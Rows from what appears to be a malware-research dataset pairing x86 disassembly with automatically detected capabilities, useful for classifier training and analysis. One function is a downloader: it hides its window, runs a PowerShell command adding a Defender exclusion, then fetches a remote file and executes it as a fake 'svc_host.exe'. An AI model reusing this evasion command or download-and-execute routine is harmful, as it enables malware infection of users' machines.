joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4517a0
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x4bf070]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0xc]
push 0x20a
mov dword [ebp - 0x214], eax
lea eax, [ebp - 0x210]
push 0
push eax
mov dword [ebp - 0x218], 0
call fcn.00462960
add esp, 0xc
cmp dword [ebx + 0x10], 0
je 0x45183c
cmp dword [ebx + 0x14], 8
jb 0x4517f6
mov ebx, dword [ebx]
cmp dword [edi + 0x14], 8
jb 0x4517fe
mov edi, dword [edi]
push ebx
push edi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
cmp dword [ebp + 0x18], 0
je 0x451834
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x451834
push eax
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
cmp dword [esi + 0x10], 0
je 0x451882
jmp 0x45185f
cmp dword [esi + 0x10], 0
je 0x451882
cmp dword [edi + 0x14], 8
jb 0x45184a
mov edi, dword [edi]
push edi
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00473d73
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashW]
cmp dword [esi + 0x14], 8
jb 0x451874
mov esi, dword [esi]
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push str..lnk
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.004763f8
mov ebx, dword [ebp - 0x214]
xor eax, eax
add esp, 0xc
mov dword [ebx + 0x14], 7
mov dword [ebx + 0x10], 0
mov word [ebx], ax
cmp word [ebp - 0x210], ax
jne 0x4518c1
xor ecx, ecx
jmp 0x4518df
lea ecx, [ebp - 0x210]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4518d0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x210]
mov ecx, ebx
push eax
call fcn.00406c50
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0045f7d8
mov esp, ebp
pop ebp
ret 0x14
Function at 0x455040
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x4090], ebx
je 0x4550ec
cmp dword [esi + 0x6c], ebx
jbe 0x4550ec
mov eax, 0xffffff78
lea ebx, [esi + 0x88]
sub eax, esi
mov dword [ebp - 4], eax
push edi
movzx eax, byte [ebx]
mov ecx, dword [esi + 0x4094]
xor eax, ecx
mov edx, dword [esi + 0x40a0]
mov edi, dword [esi + 0x409c]
movzx eax, al
and edi, 0xfffd
shr ecx, 8
or edi, 2
mov eax, dword [edx + eax*4]
xor eax, ecx
mov ecx, dword [esi + 0x409c]
mov dword [esi + 0x4094], eax
movzx eax, al
add eax, dword [esi + 0x4098]
imul eax, eax, 0x8088405
inc eax
mov dword [esi + 0x4098], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [edx + eax*4]
mov eax, edi
xor eax, 1
mov dword [esi + 0x409c], ecx
imul eax, edi
shr eax, 8
xor byte [ebx], al
inc ebx
mov eax, dword [ebp - 4]
add eax, ebx
cmp eax, dword [esi + 0x6c]
jb 0x455070
xor ebx, ebx
pop edi
push dword [esi + 0x6c]
mov ecx, dword [esi + 8]
lea eax, [esi + 0x88]
push eax
push dword [esi + 0x20]
push dword [esi + 0x1c]
call ecx
add esp, 0x10
or ecx, 0xffffffff
cmp eax, dword [esi + 0x6c]
mov dword [esi + 0x6c], 0
cmovne ebx, ecx
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4569a0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4925b3
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x4bf070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 8], 0xffffffff
mov dword [esi + 4], 0xffffffff
mov dword [esi + 0xc], 0
mov dword [esi + 0x20], 0x4c41c4
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [ebp - 4], 0
lea ecx, [esi + 0x34]
mov dword [esi], vtable.TiXmlDocument.0
mov dword [ecx], 0x4c41c4
mov byte [ebp - 4], 1
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], 0xffffffff
push 0
push 0x4a530c
mov dword [esi + 0x38], 4
mov byte [esi + 0x44], 0
mov byte [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.004558e0
mov dword [esi + 0x40], 0
mov eax, esi
mov dword [esi + 0x3c], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x456c20
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
push edi
test ebx, ebx
jne 0x456c7a
cmp byte [esi + 0x2c], bl
jne 0x456c71
mov edx, dword [str.Failed_to_open_file]
mov ecx, edx
mov byte [esi + 0x2c], 1
mov dword [esi + 0x30], 2
lea edi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456c50
sub ecx, edi
push ecx
push edx
lea ecx, [esi + 0x34]
call fcn.004558e0
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], 0xffffffff
pop edi
pop esi
xor al, al
pop ebx
pop ebp
ret 8
mov edi, dword [esi + 0x18]
test edi, edi
je 0x456c90
mov ecx, edi
mov edi, dword [edi + 0x28]
push 1
mov eax, dword [ecx]
call dword [eax]
test edi, edi
jne 0x456c81
push 2
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
push 0
push ebx
mov dword [esi + 8], 0xffffffff
mov dword [esi + 4], 0xffffffff
call fcn.0046dc1e
push ebx
call fcn.0046e217
push 0
mov edi, eax
push 0
push ebx
mov dword [ebp + 8], edi
call fcn.0046dc1e
add esp, 0x1c
test edi, edi
jg 0x456cfc
cmp byte [esi + 0x2c], 0
jne 0x456c71
mov edx, dword [str.Error_document_empty.]
mov ecx, edx
mov byte [esi + 0x2c], 1
mov dword [esi + 0x30], 0xc
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456cf0
jmp 0x456c57
lea eax, [edi + 1]
push eax
call fcn.0045fec8
push ebx
mov ebx, dword [ebp + 8]
mov edi, eax
push 1
push ebx
push edi
mov byte [edi], 0
call fcn.0046e3ee
add esp, 0x14
cmp eax, 1
je 0x456d54
push edi
call fcn.0045fec3
add esp, 4
cmp byte [esi + 0x2c], 0
jne 0x456c71
mov edx, dword [str.Failed_to_open_file]
mov ecx, edx
mov byte [esi + 0x2c], 1
mov dword [esi + 0x30], 2
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x456d48
jmp 0x456c57
mov byte [edi + ebx], 0
mov eax, edi
cmp byte [edi], 0
mov ecx, edi
je 0x456d7f
mov dl, byte [eax]
mov ebx, eax
cmp dl, 0xd
jne 0x456d76
inc eax
mov byte [ecx], 0xa
cmp byte [eax], 0xa
cmovne eax, ebx
jmp 0x456d78
mov byte [ecx], dl
inc eax
inc ecx
cmp byte [eax], 0
jne 0x456d61
mov byte [ecx], 0
mov ecx, esi
mov eax, dword [esi]
push 0
push 0
push edi
call dword [eax + 8]
push edi
call fcn.0045fec3
add esp, 4
cmp byte [esi + 0x2c], 0
sete al
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x45a490
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, ecx
mov esi, dword [edi + 0x2c]
nop
mov eax, dword [edi + 0x2c]
mov edx, dword [edi + 0x3c]
add eax, 0xfffffefa
sub edx, dword [edi + 0x74]
add eax, esi
sub edx, dword [edi + 0x6c]
mov dword [ebp - 4], edx
cmp dword [edi + 0x6c], eax
jb 0x45a51f
mov ecx, dword [edi + 0x38]
push esi
lea eax, [ecx + esi]
push eax
push ecx
call fcn.00462f00
mov edx, dword [edi + 0x4c]
add esp, 0xc
mov eax, dword [edi + 0x44]
sub dword [edi + 0x70], esi
sub dword [edi + 0x6c], esi
sub dword [edi + 0x5c], esi
lea ecx, [eax + edx*2]
nop
movzx eax, word [ecx - 2]
lea ecx, [ecx - 2]
cmp eax, esi
jb 0x45a4ef
sub eax, esi
jmp 0x45a4f1
xor eax, eax
mov word [ecx], ax
sub edx, 1
jne 0x45a4e0
mov eax, dword [edi + 0x40]
mov edx, esi
lea ecx, [eax + esi*2]
movzx eax, word [ecx - 2]
lea ecx, [ecx - 2]
cmp eax, esi
jb 0x45a510
sub eax, esi
jmp 0x45a512
xor eax, eax
mov word [ecx], ax
sub edx, 1
jne 0x45a501
mov edx, dword [ebp - 4]
add edx, esi
mov ebx, dword [edi]
cmp dword [ebx + 4], 0
je 0x45a5db
mov eax, dword [edi + 0x74]
add eax, dword [edi + 0x6c]
add eax, dword [edi + 0x38]
mov dword [ebp - 8], eax
mov eax, dword [ebx + 4]
cmp eax, edx
mov ecx, eax
cmova ecx, edx
mov dword [ebp - 4], ecx
test ecx, ecx
jne 0x45a54c
xor eax, eax
jmp 0x45a59f
sub eax, ecx
mov dword [ebx + 4], eax
mov eax, dword [ebx + 0x1c]
mov eax, dword [eax + 0x18]
cmp eax, 1
jne 0x45a569
mov edx, dword [ebx]
push ecx
mov ecx, dword [ebx + 0x30]
call fcn.0045ccb0
jmp 0x45a581
cmp eax, 2
jne 0x45a587
mov edx, dword [ebx]
test edx, edx
jne 0x45a578
xor eax, eax
jmp 0x45a584
push ecx
mov ecx, dword [ebx + 0x30]
call fcn.0045b1a0
add esp, 4
mov dword [ebx + 0x30], eax
push dword [ebp - 4]
push dword [ebx]
push dword [ebp - 8]
call fcn.00462f00
mov eax, dword [ebp - 4]
add esp, 0xc
add dword [ebx], eax
add dword [ebx + 8], eax
add dword [edi + 0x74], eax
mov ebx, dword [edi + 0x74]
cmp ebx, 3
jb 0x45a5c7
mov eax, dword [edi + 0x38]
add eax, dword [edi + 0x6c]
mov ecx, dword [edi + 0x58]
movzx edx, byte [eax]
mov dword [edi + 0x48], edx
movzx eax, byte [eax + 1]
shl edx, cl
xor edx, eax
and edx, dword [edi + 0x54]
mov dword [edi + 0x48], edx
cmp ebx, 0x106
jae 0x45a5db
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x45a4a0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x47d7cb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0047d64a

Function at 0x4833a4
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00483064
Function at 0x40e1cc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.0040e180
test al, al
jne 0x40e1ed
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x40e239
xor eax, eax
push ebp
push 0x40e229
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00404d24
push eax
call sub.kernel32.dll_DeleteFileW
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e230
lea eax, [ebp - 0xc]
call fcn.0040e1bc
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40e478
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x40e480
push ecx
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x40e56d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.0040bb0c
mov edx, dword [ebp - 8]
mov ecx, 0x40e588
xor eax, eax
call fcn.0040e35c
push 0
mov eax, dword [ebp - 4]
call fcn.00404d24
push eax
call sub.kernel32.dll_CreateDirectoryW
test eax, eax
jne 0x40e53b
call sub.kernel32.dll_GetLastError
mov ebx, eax
cmp ebx, 0xb7
je 0x40e49a
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x1c]
mov edx, dword [ebp - 4]
mov al, 0x36
call fcn.0040dfec
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, ebx
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x20]
call fcn.00407ee8
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x24]
mov eax, ebx
call fcn.0040c094
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x18]
mov ecx, 2
mov al, 0x68
call fcn.0040dfbc
mov ecx, dword [ebp - 0xc]
mov dl, 1
mov eax, dword [0x406d5c]
call fcn.00409824
call fcn.00403f88
jmp 0x40e49a
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00404c98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e574
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404c90
ret

Function at 0x40e59c
Capabilities:
Shutdown system

Disassembly:
push ebx
push esi
add esp, 0xffffffec
mov esi, edx
mov ebx, eax
mov eax, dword [0x412ca8]
cmp dword [eax], 2
jne 0x40e60a
push esp
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x40e5c5
xor eax, eax
jmp 0x40e617
lea eax, [esp + 8]
push eax
push 0x40e620
push 0
call sub.advapi32.dll_LookupPrivilegeValueW
mov dword [esp + 4], 1
mov dword [esp + 0x10], 2
push 0
push 0
push 0
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError
test eax, eax
je 0x40e60a
xor eax, eax
jmp 0x40e617
push esi
push ebx
call sub.user32.dll_ExitWindowsEx
cmp eax, 1
sbb eax, eax
inc eax
add esp, 0x14
pop esi
pop ebx
ret
Function at 0x40e658
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
mov esi, ecx
dec esi
test esi, esi
jl 0x40e6b2
inc esi
xor edi, edi
cmp edi, 1
jne 0x40e67e
mov eax, dword [ebp + 0xc]
push eax
call sub.kernel32.dll_Sleep_1
jmp 0x40e68c
cmp edi, 1
jle 0x40e68c
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_Sleep_1
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.0040e1cc
test eax, eax
jne 0x40e6b2
call sub.kernel32.dll_GetLastError
cmp eax, 2
je 0x40e6b2
call sub.kernel32.dll_GetLastError
cmp eax, 3
je 0x40e6b2
inc edi
dec esi
jne 0x40e66e
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x40e6bc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, eax
push 2
lea eax, [ebp - 4]
push eax
push 0x20001004
movzx eax, bx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x40e6e0
mov eax, dword [ebp - 4]
jmp 0x40e6e3
or eax, 0xffffffff
pop ebx
pop ecx
pop ebp
ret

Function at 0x40e6e8
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov byte [ebp - 1], dl
mov edi, eax
mov eax, dword [ebp + 8]
xor edx, edx
mov dword [eax], edx
mov byte [ebp - 2], 0
test esi, esi
je 0x40e735
xor ebx, ebx
jmp 0x40e72a
mov eax, dword [ebp - 8]
mov edx, dword [eax]
mov eax, esi
call fcn.00407bdc
test eax, eax
jne 0x40e729
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 2
jmp 0x40e7df
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x40e70b
movzx eax, byte [ebp - 1]
sub al, 1
jb 0x40e741
je 0x40e74a
jmp 0x40e753
call fcn.0040bdc4
mov esi, eax
jmp 0x40e755
call sub.kernel32.dll_GetUserDefaultLangID
mov esi, eax
jmp 0x40e755
xor esi, esi
test si, si
je 0x40e7df
xor ebx, ebx
jmp 0x40e77b
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
movzx edx, si
cmp eax, edx
jne 0x40e77a
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x40e7df
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x40e762
xor ebx, ebx
jmp 0x40e7d4
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x28]
and eax, 0x3ff
mov edx, esi
and dx, 0x3ff
movzx edx, dx
cmp eax, edx
jne 0x40e7d3
mov eax, esi
and ax, 0x3ff
cmp ax, 4
jne 0x40e7c8
mov eax, dword [ebp - 8]
movzx eax, word [eax + 0x28]
call fcn.0040e6bc
push eax
mov eax, esi
call fcn.0040e6bc
pop edx
cmp edx, eax
jne 0x40e7d3
mov eax, dword [ebp + 8]
mov dword [eax], ebx
mov byte [ebp - 2], 1
jmp 0x40e7df
inc ebx
lea edx, [ebp - 8]
mov eax, ebx
call edi
test al, al
jne 0x40e78a
movzx eax, byte [ebp - 2]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 4
Function at 0x40ebcc
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40eca1
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40ecbc
push ebx
push 0x40eccc
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.0040513c
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403250
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404d24
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x40ec4c
mov al, 0x6a
call fcn.0040e7ec
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040eba0
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x40ec55
call fcn.0040eba0
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40eca8
lea eax, [ebp - 4]
call fcn.00404c88
ret

Function at 0x40ed54
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ee1f
jmp 0x40ee13
cmp dword [esi + 0x10], 0x1000
jne 0x40edff
test byte [esi + 0x15], 1
jne 0x40edff
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x40edb0
cmp ebp, 2
je 0x40edb0
cmp ebp, 0x10
je 0x40edb0
cmp ebp, 0x20
jne 0x40edcc
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x40edcc
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x40eddd
mov eax, dword [esi]
add eax, ebx
call fcn.0040ed4c
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x40edd0
cmp byte [esp + 4], 0
je 0x40edff
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ee1f
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x40ed85
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4032a0
Capabilities:
Execute command
Hide graphical window
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x408a3d
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x40c004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.powershell__inputformat_none__outputformat_none__NonInteractive__Command_Add_MpPreference__ExclusionPath___programdata__
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
mov dword [ebp - 0x2c], str.https:__rentry.co_bnov3dkn_raw
push str.PROGRAMDATA
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
add esp, 4
add eax, 0xffffffff
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x1c]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x15], dl
add dword [ebp - 0x1c], 1
cmp byte [ebp - 0x15], 0
jne 0x40330b
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov ecx, 8
mov esi, str.MicrosoftSvcHost_svc_host.exe
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x14], ecx
push 0
lea edx, [ebp - 0x14]
push edx
lea ecx, [ebp - 0x44]
call fcn.00404ea0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x44]
push eax
call fcn.00402c10
add esp, 4
movzx ecx, al
test ecx, ecx
jne 0x40336a
mov dword [ebp - 0x20], 1
jmp 0x403371
mov dword [ebp - 0x20], 0
mov dl, byte [ebp - 0x20]
mov byte [ebp - 0x16], dl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.00402470
movzx eax, byte [ebp - 0x16]
test eax, eax
je 0x40339e
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00403000
add esp, 8
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040798c
mov esp, ebp
pop ebp
ret

Function at 0x4074a9
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.00407485
pop esi
leave
ret 8

Function at 0x40824f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40828e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40828e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40828e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40828e
cmp dword [ecx + 0x74], 0xe
jbe 0x40828e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x8b1058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8b11a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x8b107e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8b106a
add dl, dl
jne 0x8b1089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8b10dc
xor eax, eax
add dl, dl
jne 0x8b1096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8b117d
add dl, dl
jne 0x8b10a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8b10b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8b10bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8b10c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8b10d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x8b1075
mov eax, 1
add dl, dl
jne 0x8b10ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8b10f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8b10e1
sub eax, ebx
mov ebx, 1
jne 0x8b1128
mov ecx, 1
add dl, dl
jne 0x8b110e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x8b1119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8b1105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8b1075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x8b113f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x8b114a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8b1136
cmp eax, 0x7d00
jae 0x8b116d
cmp eax, 0x500
jb 0x8b1168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8b1075
cmp eax, 0x7f
ja 0x8b1170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8b1075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x8b119e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x8b1075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x89e7ac
Capabilities:
Encode data using xor

Disassembly:
jmp 0x89e7b6
pushal
call 0x89e7bc
pop ebp
sub ebp, 0x10
sub ebp, 0x49e7ac
jmp 0x89e7d2
mov eax, 0x49e7ac
add eax, ebp
add eax, 0x4c
mov ecx, 0x608
mov edx, 0x7a932a4
xor byte [eax], dl
inc eax
dec ecx
jne 0x89e7e9
jmp 0x89e7fc
das
imul ebp, dword [edi], 0xa4a4982d
movsb byte es:[edi], byte [esi]
and eax, 0xa4a45c65
movsb byte es:[edi], byte [esi]
cmpsd dword [esi], dword es:[edi]
imul ebx, dword [edi + ebp*4], 0x1ea4a4a4
mov word [esp - 0x58b9ac5c], fs
insb byte es:[edi], dx
das
and eax, 0xa4a4a4a8
cmpsd dword [esi], dword es:[edi]
popal
sub eax, eax
sbb byte [eax + 0x2d], 0xa0
sub byte [ecx], 0xc0
sbb byte [eax + 0x2d], 0xa0
or ah, 0xa0
fild qword [edx - 0x37f3335c]
lahf
movsb byte es:[edi], byte [esi]
movsd dword es:[edi], dword [esi]
mov byte [eax + 0x1fb427cc], al
hlt